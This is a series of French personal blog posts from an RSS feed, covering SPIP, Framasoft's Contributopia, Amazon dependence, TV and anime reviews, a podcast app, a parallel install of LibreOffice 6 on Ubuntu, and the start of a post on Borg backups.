<p>Les premières version de SPIP sont sortie en 2001. Pour information, Dotclear qui était le moteur de référence avec l'avènement des blogs est sorti en 2002, Wodpress, est sorti en 2003. Lorsque j'ai commencé l'informatique, il y a 14 ans, je devais faire un Intranet pour une PME, c'était mon sujet de stage de fin d'année. Ma professeur de TD, libriste convaincue, m'avait conseillé d'utiliser SPIP. Et j'ai donc découvert SPIP à ce moment là ; je l'ai utilisé pour ce qui allait devenir ce blog, et pour différents sites que j'ai fait par la suite. Et je suis resté fidèle à ce logiciel.</p>
<p><strong>Pourquoi est-ce un exemple pour le logiciel libre ?</strong></p>
<p>Je suis donc sous Spip depuis 2004 et depuis le début, je fais le suivi des montées en version. Par montée de version, je parle de la mise à jour vers des versions correctives et de mises à jour (corrections de bugs) et vers des versions majeures (avec ajout de fonctionnalités, modifications de la base de données). Au cours de toutes ces migrations, <strong>Je n'ai jamais eu de soucis</strong>. J'ai toujours testé sur un site de test, copie / miroir de mon blog pour anticiper les problèmes qu'il pourrait y avoir (plugin non compatible...).</p>
<p>Toutes ces montées en version, qu'elles soient mineures ou majeures se sont déroulées sans soucis.</p>
<p>Chaque nouvelle version mineure apporte son lot de corrections de bugs et de faille de sécurité, chaque version majeur est plus riche en fonctionnalité, mais n'a pas forcément plus de complexité. La logique et les interfaces restent les mêmes, évoluent, se modernisent un peu, mais sans grand bouleversement, on reste dans la continuité.</p>
<p>Spip possède tout un écosystème de plugin. Je n'utilise pas énormément de plugins et tout ceux que j'utilise sont rapidement rendus compatibles par la communauté. La communauté est petite, ne fait pas de bruit, mais est belle et bien là.</p>
<p>Spip est documenté, bien documenté et en français <a href="https://programmer.spip.net" title="Programmer.spip.net">https://programmer.spip.net/</a> tant pour le système SPIP en lui-même que pour les plugins...</p>
<p>Autant de critères qui en font un logiciel de qualité et de référence pour moi.</p>
<p><strong>Une communauté bien présente ?</strong></p>
<p>En un temps où les réseaux sociaux se sont depuis bien longtemps accaparé le temps de disponibilité des gens, <a href="https://forum.spip.net/" title="Le forum de Spip">le forum est encore actif</a> avec des messages publiés les jours précédents et même quelques minutes avant au moment de la rédaction du présent billet de blog.</p>
<p>On a un message toutes les quelques semaines sur le blog officiel de SPIP <a href="https://blog.spip.net/" title="Blog.spip.net - Le blog de Spip">Blog.spip.net</a></p>
<p>Et le code source (logiciel libre oblige), évolue lentement mais sûrement avec des commits réguliers comme en atteste le dépôt <a href="https://core.spip.net/projects/spip/repository" title="Spip, dépôt du code source">https://core.spip.net/projects/spip/repository</a></p>
<p><strong>Conclusion</strong></p>
<p>Spip, c'est une petite communauté, le logiciel ne fait pas grand bruit, mais reste efficace. Et par le présent billet, je voulais remercier toutes ces personnes qui ont participé ponctuellement ou qui œuvrent pour SPIP au quotidien.</p></div>
		
		


feed_id: https://blog.genma.fr/?Contributopia-en-fond-d-ecran
title: Contributopia en fond d'écran
uri: Contributopia-en-fond-d-écran
url: https://blog.genma.fr/?Contributopia-en-fond-d-ecran
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2716.jpg?1514281849' width='150' height='100' />
		<div class='rss_texte'><p>Comme je le disais dans mon billet <a href="https://blog.genma.fr/?Lifehacking-Trois-ecrans-reel-confort-luxe-ou-superflu" title="Lifehacking - Trois écrans : réel confort, luxe ou superflu ?">Lifehacking - Trois écrans : réel confort, luxe ou superflu ?</a>, j'ai donc trois écrans (celui de l'ordinateur portable) et deux autres pour pouvoir travailler de façon efficace.</p>
<p>Je suis amené régulièrement à quitter ma place (pour aller voir d'autres collègues) et je verrouille donc systématiquement mon PC (une bonne pratique de sécurité, un réflexe qu'il faut avoir que celui de ne jamais laisser un ordinateur non verrouillé sans surveillance, sous peine de devoir apporter les pains aux chocolats ou chocolatines le lendemain, dans le meilleur de cas). Mon PC est visible d'une bonne partie de l'openspace et donc quand mon écran est verrouillé, c'est le fond d'écran (habituellement caché par tout un tas de fenêtre quand je travaille) qui apparaît. J'ai choisi de mettre une image de Contributopia, un beau fond d'écran sans logo. Ça donne ça :</p>
<p><span class='spip_document_2525 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/jpg/contributopia_wallpaper.jpg?1514281797' width='500' height='375' alt="" /></span></p>
<p>Lorsque que je suis amené à aller en clientèle, généralement je dois projeter quelque chose. Au branchement du vidéo-projecteur, le second bureau - bureau étendu s'affiche et là encore, avec le même fond d'écran. Cette image fait son petit effet et suscite des interrogations ("c'est joli, c'est quoi"). Si je note de l'intérêt et que la situation ou le temps le permet (formation avec pause le midi), j'en profite généralement pour aborder le sujet de <a href="https://degooglisons-internet.org/" title="Site de Degooglisons Internet">Framasoft et du projet Degooglisons</a>...</p>
<p><strong>Contributopia ?</strong></p>
<p>Pour en revenir au fond d'écran, Contributopia, c'est parce que <strong>Dégoogliser ne suffit pas</strong>. A travers 3 grandes étapes (une par année), Framasoft propose une nouvelle campagne, suite de Degooglisons, dont les objectifs sont le suivants :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <i>2017-2018 : Créer et proposer des outils</i>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <i>2018-2019 : Transmettre les savoir-faire</i>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <i>2019-2020 : Inspirer les possibles</i></p>
<p>Pour en savoir plus, je vous invite à aller (re)lire les excellents billets de l'équipe communication de Framasoft qui présente en détail le projet : <a href="https://framablog.org/2017/10/09/contributopia-degoogliser-ne-suffit-pas/" title="Framablog - Contributopia : dégoogliser ne suffit pas">Contributopia : dégoogliser ne suffit pas</a> et <a href="https://framablog.org/2017/10/10/explorons-le-monde-des-services-de-contributopia/" title="Framablog - Explorons le monde des services de Contributopia">Explorons le monde des services de Contributopia</a>.</p>
<p>Et pour le reste, c'est sur le site <a href="https://contributopia.org/fr/home/" title="">https://contributopia.org/fr/home/</a></p></div>
		
		


feed_id: https://blog.genma.fr/?Degoogliser-d-accord-mais-demamazoner
title: Dégoogliser, d'accord, mais démamazoner ?
uri: Dégoogliser-d-accord-mais-démamazoner
url: https://blog.genma.fr/?Degoogliser-d-accord-mais-demamazoner
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2725.jpg?1516813906' width='150' height='79' />
		<div class='rss_texte'><p>Grâce au grand projet de Framasoft, Degooglisons Internet, j'ai pu apprendre à me Dégoogliser. Ce que j'entends par là, c'est que j'ai désormais mon propre cloud que j'utilise quotidiennement (un ensemble de service qui va de l'agenda à l'agrégateur RSS en passant par d'autres services comme les notes, Wallabag.... le tout sur base de Yunohost). Pour le moteur de recherche, j'utilise Qwant en moteur de recherche par défaut, même si je dois régulièrement revenir sur Google pour des recherches techniques (Github et Stackoverflow ne semblent pas indexés par Qwant...) Pour le smartphone, j'ai FDroid pour les applications...</p>
<p>Donc, dans GAFAM, il y a :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Google : on vient de traiter le cas,
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Apple : je n'achète pas leur produit
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Facebook : j'ai un compte totalement inactif que je garde pour pouvoir regarder de temps à autre l'évolution de Facebook et savoir de quoi je parle quand je fais des conférences sur l'hygiène numérique.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Amazon : on va y revenir
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Microsoft : j'ai un PC sous Windows 7 qui me sert pour du retrogaming, mais je n'ai aucun usage personnel (surf sur Internet par exemple) sur cette machine.</p>
<p>Je peux et j'arrive à me dégoogliser, j'ai et j'aurai plus de mal à me désamazoner. Amazon, c'est bien plus que la vente de livre. Pour le cloud d'Amazon, je n'en ai pas besoin et donc je n'utilise pas. Mais c'est la partie vente... Pour le peu de livre papier que j'achète encore, je vais en librairie ou au pire dans une grande surface spécialisée. Pour les livres numériques, j'ai peu de temps de lire et je lis quelques Framabook ou epub tombé dans le domaine publique <a href="https://blog.genma.fr/?+-Bookeen-+" title="Mes billets sur la liseuse Bookeen">via ma liseuse Bookeen</a>.</p>
<p>J'avoue avoir fait quelques courses de Noël sur Amazon. La praticité de l'achat, la fuite des magasins bondés... Je sais bien que cela sonne comme une obligation de me justifier...</p>
<p>Il y a une dizaine d'années, j'achetais des objets sur Ebay. Je ne me rappelle pas la dernière fois que j'ai acheté quelque chose sur Ebay. Amazon, je sais... Comme <a href="https://blog.genma.fr/?Je-suis-en-phase-de-minimalisme" title="Je suis en phase de minimalisme">Je suis en phase de minimalisme</a>, je consomme peu, très peu et n'achète que des choses utiles et dont je me servirai. Je n'ai pas de gadget inutile que j'utilise quelques temps et qui finissent dans un placard. Mais j'achète parfois des choses utiles via Amazon.</p>
<p>Le soucis est là. Je ne connais pas d'alternative aussi puissante à Amazon. Pour le moteur de recherche, le cloud et tout ce qui touche au numérique, je sais. Pour la nourriture, je connais les AMAP et épicerie de proximité. Mais pour les autres biens ? La grande différence : Google, le cloud, c'est du 100% numérique. Amazon, c'est de l'analogique, du concret, du palpable, du colis qui arrive dans ma boite aux lettres... Un confort sans égal... Et je ne peux m'empêcher de penser que ce confort et cette praticité d'Amazon se fait au détriment des conditions de travail des employés Amazon, des livreurs... Alors, quelle solution autre, pour de désamazoner ?</p></div>
		
		


feed_id: https://blog.genma.fr/?Jean-Claude-Van-Johnson
title: Jean-Claude Van Johnson
uri: Jean-Claude-Van-Johnson
url: https://blog.genma.fr/?Jean-Claude-Van-Johnson
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2726.jpg?1515400289' width='150' height='79' />
		<div class='rss_texte'><p><strong>Synopsis</strong></p>
<p><i>Jean-Claude Van Damme, fameux héros de nombreux films d'action et artiste martial renommé était en vérité Jean-Claude Van "Johnson", espion de haute volée dont les tournages servaient de couverture à ses missions. Alors qu'il s'était retiré du monde, l'acteur décide de reprendre du service dans l'espoir de renouer avec un ancien amour qu'il n'a jamais pu oublier. Malheureusement, toutes ces années d'inactivité ont un peu émoussées les capacités de Johnson...</i></p>
<p><strong>La critique de Genma</strong></p>
<p>J'ai été élevé, entre autre, avec les films de Jean-Claude Van Damme. Je les ai tous vu, certains plusieurs fois. Jusqu'au remake/reboot de Kickboxer. J'ai également vu les films Expendables et au apprécié ces films. Cela permet de cerner un peu <i>mes goûts</i>.</p>
<p>Si je devais résumer cette série, je dirai "autodérision assumée". Cette série joue avec les codes du nanard sans pour autant en être un. Au bingo du nanard, il y a des chances que l'on puisse cocher une majorité des cases. Les dialogues, les scènes, les personnages caricaturaux, des éléments parodiques : tout est là. Mais tout cela est fait avec brio avec ce qu'il faut pour que la série ne sombre pas dans le ridicule.</p>
<p>Jean-Claude Van Johnson une série avec de nombreuses références et clin d'oeils dans les dialgoues, dans les scènes et les situations. On retrouvera un Jean-Claude Van Damme vieillissant, mais qui est assumé et qui assume. Et il sait encore de belles cascades. Il faut très certainement aimer Jean-Claude pour aimer cette série et adhérer au délire. Mais si c'est le cas, on s'offre alors un bon moment de divertissement. 6 * 30 minutes, ça se regarde bien et vite. Je suis loin d'avoir perdu mon temps. Il faudra très clairement laisser son esprit critique de côté pour apprécier la série, mais si vous avez l'opportunité, saisissez là.</p>
<p>Enfin, pour finir, je dirai que Jean-Claude Van Johnson c'est une sorte de sketchs de la télé des Inconnus sur 6 épisodes, réalisés avec des moyens modernes, les codes des séries actuelles, mais avec cette petite dose d'autodérision qui fait tout le charme de cette série. Ou alors une sorte d'Austin Powers modernisé, pour faire une référence un peu plus récente, quoique...</p>
<p>Disponible légalement au visionnage sur Amazon vidéo.</p></div>
		
		


feed_id: https://blog.genma.fr/?Podcast-Addict
title: Podcast Addict
uri: Podcast-Addict
url: https://blog.genma.fr/?Podcast-Addict
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2724.jpg?1517645938' width='150' height='79' />
		<div class='rss_texte'><p>Pour écouter les podcast, j'utilise depuis le début un Ipod Touch d'une très ancienne génération, mais qui a la propriété de durer. J'ai un un PC sous Windows sur lequel j'ai mis Itunes (que je mets à jour) et qui me permet de récupérer et synchroniser les différentes émissions podcasts que j'écoute dans les transports en commun.</p>
<p>Mais depuis quelques semaines, j'utilise désormais <a href="https://play.google.com/store/apps/details?id=com.bambuna.podcastaddict&hl=fr" title="L'application Podcast Addict sur le Play Store">l'application Podcast Addict</a>. <i>Podcast Addict permet de gérer podcasts, catch up radio, livres audios, web radios, chaines YouTube / Twitch et autres flux RSS de news depuis une seule app. Podcast Addict intègre une bannière de pub. L'application est gratuite et non limitée. Vous pouvez accheter l'app Podcast Addict - Donate afin de désactiver la pub dans Podcast Addict tout en soutenant le développement de l'app.</i></p>
<p>Je connaissais l'application depuis qu'elle existe, mais je n'avais jamais vraiment franchi le pas. J'ai commencé par la version gratuite et très satisfait de l'application, pour soutenir le développeur, pour ne pas avoir la publicité, j'ai acheté l'application (<a href="https://www.tipeee.com/genma" title="Soutenir le blog de Genma via Tipeee">merci à mes Tipeurs dont la contribution régulière a par exemple permis cet achat</a>).</p>
<p><span class='spip_document_2539 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/podcastaddict_01.png?1514468720' width='500' height='890' alt="" /></span></p>
<p>Depuis, je suis passé de la phase de test à l'utilisation au quotidien. Du fait que cette application existe depuis longtemps, elle est complète et intuitive et marche. Elle ne demande pas des permissions intrusive, son système de recherche et d'abonnement marche bien. Je n'ai à rien redire. J'ai désormais tous les podcasts que j'écoute sur mon téléphone.</p>
<p>NextINpact avait (comme souvent) fait un excellent article sur Podcast Addict : <a href="https://www.nextinpact.com/news/101634-les-defis-podcast-addict-porte-dentree-podcasts-sur-android.htm" title="Les défis de Podcast Addict, porte d'entrée des podcasts sur Android">Les défis de Podcast Addict, porte d'entrée des podcasts sur Android</a>, je vous renvoie donc vers lui pour en savoir plus.</p>
<p><span class='spip_document_2540 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/podcastaddict_02.png?1514468731' width='500' height='801' alt="" /></span></p>
<p>Les <i>seuls</i> reproches que l'on pourrait faire à cette application sont de ne pas être un logiciel libre et de n'être que disponible via le <a href="https://play.google.com/store/apps/details?id=com.bambuna.podcastaddict&hl=fr" title="L'application Podcast Addict sur le Play Store">le Play Store de Google</a> (nécessitant de fait un téléphone Android et un compte Google), mais je peux comprendre ces deux reproches et les choix du développeur de l'application. Rappelons d'ailleurs qu'il est possible <a href="https://www.patreon.com/podcastaddict" title="Podcastaddict sur Patreon">de soutenir Podcast Addict via sa page Patreon</a>.</p></div>
		
		


feed_id: https://blog.genma.fr/?Lifehacking-Veille-et-videos-de-conferences
title: Lifehacking - Veille et vidéos de conférences
uri: Lifehacking-Veille-et-vidéos-de-conférences
url: https://blog.genma.fr/?Lifehacking-Veille-et-videos-de-conferences
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2718.jpg?1514304916' width='150' height='79' />
		<div class='rss_texte'><p>Nombreux sont les événements pour lesquels les conférences sont filmées et ensuite mise à disposition en visionnage. Les outils permettant de récupérer ces vidéos pour un mode hors-ligne.</p>
<p>Remarque : le streaming est du téléchargement en direct au fur et à mesure, donc télécharger la vidéo pour la regarder en mode déconnecté ne coûte pas plus en bande-passante. Une solution pour faire économiser de la bande passante au serveur et de récupérer la vidéo en peer2peer via le protocole torrent par exemple et de laisser le partage actif par la suite.</p>
<p>Dans le cadre de ma veille, je récupère donc des vidéos de conférence et pour les visionner, j'ai plusieurs façons de faire.</p>
<p><strong>Lecture en fond sonore</strong></p>
<p>Quand je connais le sujet et que je peux faire quelque chose ne demandant par une concentration maximum, quand j'effectue une tâche routinière ou pour laquelle je suis très à l'aise, je peux mettre la vidéo dans un coin d'un écran (<a href="https://blog.genma.fr/?Lifehacking-Trois-ecrans-reel-confort-luxe-ou-superflu" title="Lifehacking - Trois écrans : réel confort, luxe ou superflu ?">pratique quand on a 3 écrans</a>). Et quand j'ai besoin, quand le contenu le nécessite (je souhaite approfondir, me concentrer sur une partie spécifique), je peux me focaliser dessus.</p>
<p>Il faut que le sujet n'attire pas toute l'attention et que la tâche en cours soit "facile". C'est le cas quand je fais du rédactionnel (billet de blog par exemple, consultation des réseaux sociaux...).</p>
<p><strong>Vidéo sans le son</strong></p>
<p>Pour certaines vidéos le contenu vidéo n'est pas une nécessité et la piste audio peut se suffire à elle-même. Par exemple pour le support de présentation, s'il est minimaliste et ne sert qu'à donner un fil rouge à l'orateur et voir le contenu n'apporte rien, la piste audio peut suffire. Pour ces vidéos, je les <i>écoute</i> depuis mon smartphone dans les transports en commun. J'ai le smartphone dans une poche, un casque sur les oreilles. Mes yeux ne sont pas sollicités par la vidéo et me permettent de veiller là où je me déplace, à ne pas rater ma station etc. Et mon temps de transport en commun est optimisé et n'est plus du temps de perdu, vu que c'est un temps où je fais de la veille.</p>
<p>Pour les formats audio uniquement, ce sont les podcasts. Mais ce sont là des émissions à parution régulière (d'hebdomadaire à mensuelle), avec un contenu souvent sous forme de rubrique et donc un contenu autre que les conférences.</p>
<p><strong>Vidéo en accéléré</strong></p>
<p>VLC permet une astuce qui est assez connue et que j'utilise parfois, celle de pouvoir lire des vidéos (et son) en accélérer, de 1,25 à 1,5 fois. Ce qui permet de gagner un tiers de temps pour le visionnage. C'est une habitude à acquérir car il faut se concentrer pour le coup, je sais que je ne pourrais pas regarder des vidéos comme ça pendant des heures. Mais une ou deux conférences, voir trois, cela va. Plus cela commence à m'être difficile.</p>
<p>En résumé : <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong>le plus</strong> : un gain de temps, 20% environ sur le temps d'une vidéo, cumulé ça fait un bon gain de temps.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong>le moins</strong> : la concentration nécessaire du fait de la vitesse de parole (qui est accélérée) et la fatigue que ça engendre.</p>
<p><strong>Autres astuces ?</strong></p>
<p>Ne pas hésiter à zapper un peu dans les longueurs les conférences dont on connaît le sujet, en se basant pour le coup sur le support de la conférence pour voir où on en est dans le déroulement.</p>
<p>Ne pas hésiter à lire <a href="http://www.april.org/groupes/transcriptions/" title="APRIL - Groupe de travail transcriptions">des transcriptions de conférences faites par des membres de l'APRIL dans le cadre de l'accessibilité</a>. Le soucis est que c'est de la retranscription d'une conférence, donc de paroles dites à l'oral, avec les écueils que cela peut avoir (longueur de phrase, digression, parenthèse qui se rallonge...) Mais cela peut être une autre façon de faire sa veille via des conférences.</p></div>
		
		


feed_id: https://blog.genma.fr/?LibreOffice-6-est-sortie
title: LibreOffice 6 est sortie
uri: LibreOffice-6-est-sortie
url: https://blog.genma.fr/?LibreOffice-6-est-sortie
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2729.jpg?1518282701' width='150' height='79' />
		<div class='rss_texte'><p>Une nouvelle version majeure de LibreOffice, la version 6, est sortie. Une dépêche Linuxfr aborde les différentes fonctionnalités, je vous renvoie vers elle : <a href="https://linuxfr.org/news/sortie-de-libreoffice-6-0" title="Sortie de LibreOffice 6.0 sur Linuxfr">Sortie de LibreOffice 6.0 sur Linuxfr</a>.</p>
<p>Comme toute première version majeure, avant de l'adopter définitivement, il peut être intéressant de la tester en parallèle de la version installée par défaut dans sa distribution. Le passage par un backport a pour conséquence de monter en version LibreOffice, ce que je ne veux pas. Heureusement, il est possibe d'installer la dernière version de LibreOffice en parallèle de la version actuelle.</p>
<p><strong>Installer en parallèle de la version actuelle sous Ubuntu</strong></p>
<p>Pour ce faire, je n'ai rien inventé, j'ai juste suivi le tutoriel que l'on trouve ici et que je remets ici <a href="https://wiki.documentfoundation.org/Installing_in_parallel/fr" title="https://wiki.documentfoundation.org/Installing_in_parallel/fr">https://wiki.documentfoundation.org/Installing_in_parallel/fr</a></p>
<p>Attention : cette procédure ne permet pas de maintenir LibreOffice à jour contrairement à une installation via le gestionnaire de paquets. A utiliser en connaissance de cause.</p>
<p>Récupération LibreOffice_6.0.0_Linux_x86-64_deb.tar.gz sur le lien <a href="https://www.libreoffice.org/donate/dl/deb-x86_64/6.0.0/fr/LibreOffice_6.0.0_Linux_x86-64_deb.tar.gz" title="https://www.libreoffice.org/donate/dl/deb-x86_64/6.0.0/fr/LibreOffice_6.0.0_Linux_x86-64_deb.tar.gz">https://www.libreoffice.org/donate/dl/deb-x86_64/6.0.0/fr/LibreOffice_6.0.0_Linux_x86-64_deb.tar.gz</a></p>
<p>On dezippe</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>$ tar -vxzf LibreOffice_6.0.0_Linux_x86-64_deb.tar.gz<br /> $ cd ./LibreOffice_6.0.0_Linux_x86-64_deb<br /> $ for i in ../*.deb; do dpkg-deb -x $i . ; done</code></div>
<p>On a alors un dossier ./LibreOffice_6.0.0.3_Linux_x86-64_deb/DEBS/ qui contient deux dossiers opt et ur donc on va copier le cotenu dans les dossiers équivalents du système</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>$ sudo cp -rv ./LibreOffice_6.0.0.3_Linux_x86-64_deb/DEBS/opt/libreoffice6.0/opt/ /opt/<br /> $ sudo cp -rv ./LibreOffice_6.0.0.3_Linux_x86-64_deb/DEBS/usr/* /usr/</code></div>
<p>Et dans le lanceur de Unity on a :</p>
<p><span class='spip_document_2541 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L264xH135/libreoffice6_unity-f5037.png?1518422402' width='264' height='135' alt="" /></span></p>
<p>Ce qui permet de lancer LibreOffice 6 (en anglais) :</p>
<p><span class='spip_document_2542 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/libreoffice6_writer.png?1518283020' width='500' height='433' alt="" /></span></p></div>
		
		


feed_id: https://blog.genma.fr/?The-Toys-that-made-us-sur-Netflix
title: The Toys that made us sur Netflix
uri: The-Toys-that-made-us-sur-Netflix
url: https://blog.genma.fr/?The-Toys-that-made-us-sur-Netflix
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2731.jpg?1518288011' width='150' height='58' />
		<div class='rss_texte'><p><span class='spip_document_2545 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/jpg/the-toys-that-made-us-photo-netflix-600x229.jpg?1518287747' width='500' height='191' alt="" /></span></p>
<p>The Toys that made us est une série de reportages originaux pour Netflix.</p>
<p>AU nombre de 4 pour l'instant, ces reportages abordent tour à tour les gammes de jouets Star Wars, Barbie, Les Maitres de l'Univers (Musclor) et GI Joe. Les reportages sont tournés aux Etats Unis avec de nombreuses interviews des personnes clefs des sociétés et des créateurs de ces jouets. IL est très intéressant de voir l'envers du décor, de voir à quel point le succès d'un jouet tient à peu de choses et doit beaucoup à un concours de circonstance.</p>
<p>Ces reportages sont avant tout destinés à des personnes qui ont connus ces jouets, qui approchent donc, comme moi de la quarantaine et qui ont donc grandis dans les années 80. Ces reportages sont également une forme de témoignage historique de cette époque sous un autre angle.On a donc de nombreuses interviews et discussions avec des créateurs, designers ainsi que des des collectionneurs. Le tout permettant d'en apprendre plus sur l'histoire du jouet, de la gamme, sa création, des débuts à nos jours, les différentes gammes...</p>
<p><span class='spip_document_2544 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/jpg/the-toys-that-made-us-photo-netflix.jpg?1518287742' width='500' height='500' alt="" /></span></p>
<p>Les épisodes suivent toujours le même format, sont rythmé et dynamique et on n'a pas le temps de s'ennuyer devant. Parsemé d'humour et anecdotes, ces reportages sont de qualité.</p>
<p>A revoir par toute personne disposant d'un accès à Netflix et qui est intéressé par le sujet, à savoir sur les jouets qui ont marqués les années 80.</p>
<p>Cela a également été l'occasion pour moi de tester Netflix sous Ubuntu depuis Firefox. Ca juste marche au sein du navigateur, sans rien avoir à installer. C'est fluide, rapide. J'ai alors compris le succès de Netflix : simple et efficace, ergonomique et des programmes originaux. Que demander de plus ?</p></div>
		
		


feed_id: https://blog.genma.fr/?La-Traversee-du-temps
title: La Traversée du temps
uri: La-Traversée-du-temps
url: https://blog.genma.fr/?La-Traversee-du-temps
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2730.jpg?1518285869' width='108' height='150' />
		<div class='rss_texte'><p><span class='spip_document_2543 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L322xH450/la_traversee_du_temps-c508d.jpg?1519034495' width='322' height='450' alt="" /></span></p>
<p><strong>Résumé du film</strong></p>
<p>Makoto est une jeune lycéenne comme les autres, un peu garçon manqué, pas trop intéressée par l'école et absolument pas concernée par le temps qui passe ! Jusqu'au jour où elle reçoit un don particulier : celui de pouvoir traverser le temps. Améliorer ses notes, aider des idylles naissantes, manger à répétition ses plats préférés, tout devient alors possible pour Makoto. Mais influer sur le cours des choses est un don parfois bien dangereux, surtout lorsqu'il faut apprendre à vivre sans !</p>
<p><strong>La critique de Genma</strong></p>
<p>Je ferai une critique en deux parties, la seconde contenant alors du divulgachâge (spoiler), arrêtez vous avant, je le signalerai.</p>
<p>J'ai donc récemment vu La Traversée du temps, Toki wo kakeru shôjo pour son titre original, de Mamoru Hosoda (connu entre pour avoir réalisé Les Enfants loups, Ame et Yuki. Ce film est divertissant et on passe un très bon moment devant. Les remontées et le jeu avec le temps sont très facilement compréhensibles et donnent lieu à des situations et des quiproquos sympathiques. Le dynamisme de Makoto, son caractère et sa volonté de tout faire vite, de changer les choses, servent une histoire sympathique. De part son sujet du jeu sur le temps et une version du voyage dans le temps - remonter dans le passé pour pouvoir changer des éléments clefs et tenter d'améliorer les choses - ce film avait tout pour me plaire et il m'a plus. Mais...</p>
<p>Attention début du divulgachâge !!!</p>
<p>Je l'ai trouvé moins riche et complexe que <a href="https://blog.genma.fr/?Kimi-no-na-wa-Your-Name" title="Critique de Kimi no na wa - Your Name">Kimi no na wa - Your Name</a> (sorti après mais que j'ai vu avant), et surtout j'ai été déçu par la fin du film. Je m'attendais à quelque chose de plus complexe qu'une simple métaphore du passage à l'âge adulte avec l'acceptation de certaines choses. Il aurait pu y avoir quelque chose de plus complexe, en abordant le futur de Makoto, quelques années plus tard, une fois adulte et établie dans sa vie. La montrer en restauratrice de tableau par exemple, montrant qu'elle a trouvée sa voie et l'influence que voyages dans le temps ont fini par avoir... La fin est un peu trop classique et pas assez développée à mon goût. Cela reste un dessin animé abordable par les enfants.</p>
<p>Une amie quand à elle m'a apporté un autre éclairage et une autre approche de ce film. Elle me disait <i>Je l'ai trouvé plutôt optimiste. Le parallèle avec l'histoire de la tante est important : elle vit dans la nostalgie, la mélancolie, c'est elle qui attend celui qu'elle aime, il lui a promis de revenir (dans le passé). Elle est bloquée. Mais pour Makoto, l'avenir est devant elle, c'est lui qui va l'attendre dans le futur et pas l'inverse. La voie est ouverte, la vie continue et ne s'arrête pas comme pour sa tante. Je trouve ça très beau.</i>.</p>
<p>Et il est vrai que c'est peut-être là que réside la force de ce film. Dans ce parallèle et cette émancipation que Makoto finit par atteindre.</p></div>
		
		


feed_id: https://blog.genma.fr/?Borg-comme-outil-de-sauvegarde
title: Borg comme outil de sauvegarde
uri: Borg-comme-outil-de-sauvegarde
url: https://blog.genma.fr/?Borg-comme-outil-de-sauvegarde
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2733.jpg?1519198803' width='150' height='79' />
		<div class='rss_texte'><p>Les sauvegardes sont quelque chose de fondamental (<a href="https://blog.genma.fr/?Sauvegarde-la-regle-des-3-2-1" title="Sauvegarde la règle des 3-2-1">Sauvegarde la règle des 3-2-1</a>) et j'en parle régulièrement sur ce blog.</p>
<p><a href="" title=""></a></p>
<p>L'importance c'est aussi de pouvoir restaurer <a href="https://blog.genma.fr/?Sauvegarde-et-restauration" title="Sauvegarde et restauration">Sauvegarde et restauration</a> et je cherche depuis un moment un outil simple, fiable, sécurisé qui permet d'automatiser un peu.</p>
<p>Dans sa conférence au JRES 2017, Luc Didry aka Framasky, administrateur système de l'association Framasoft a fait une conférence très intéressante sur le sujet de <i>Quelle infrastructure pour dégoogliser Internet ?</i>. Le fichier pdf complet de la conférence est disponible en ligne ici <a href="https://conf-ng.jres.org/2017/document_revision_2263.html" title="JRES 2017 - ">JRES 2017 - Luc Didry - Quelle infrastructure pour dégoogliser Internet ?</a></p>
<p>Je cite la partie concernant les sauvegardes et plus particulièrement sur l'outil Borg :<br class='autobr' />
<i>En ce qui concerne les services à forte volumétrie tels l'hébergement de fichiers (Framadrive, Framadrop) ou l'hébergement d'images (Framapic), nous avons préféré recourir à une autre solution. En effet, ces sauvegardes représentent plusieurs téraoctets de fichiers et nécessitent énormément de temps, ce qui bloquerait les sauvegardes des autres serveurs via Backuppc (car celui-ci n'effectue qu'un petit nombre de sauvegardes en parallèle afin de ne pas surcharger le serveur de sauvegarde).</i></p>
